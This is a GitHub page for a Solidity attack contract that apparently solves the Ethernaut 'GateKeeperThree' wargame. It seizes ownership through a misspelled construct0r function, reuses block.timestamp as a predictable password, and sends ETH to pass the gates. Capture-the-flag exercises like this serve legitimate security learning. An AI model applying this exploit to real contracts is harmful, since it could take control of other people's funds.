-
Notifications
You must be signed in to change notification settings - Fork 0
/
MyGateKeeperThreeAttack.sol
36 lines (28 loc) · 965 Bytes
/
MyGateKeeperThreeAttack.sol
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;
interface IGateKeeperThree {
function construct0r() external;
function createTrick() external;
function getAllowance(uint256 _password) external;
function enter() external;
}
interface IAttack {
function enter(address target) external payable;
}
contract MyGateKeeperThreeAttack is IAttack {
function enter(address target) external payable override {
// target contract
IGateKeeperThree keeper = IGateKeeperThree(target);
// become target owner
keeper.construct0r();
// instantiate Trick contract
keeper.createTrick();
// get allowance, use block.timestamp as password
// block.timestamp is same for both keeper and trick contracts
keeper.getAllowance(block.timestamp);
// send eth
(bool res, ) = address(keeper).call{ value: msg.value }("");
res;
keeper.enter();
}
}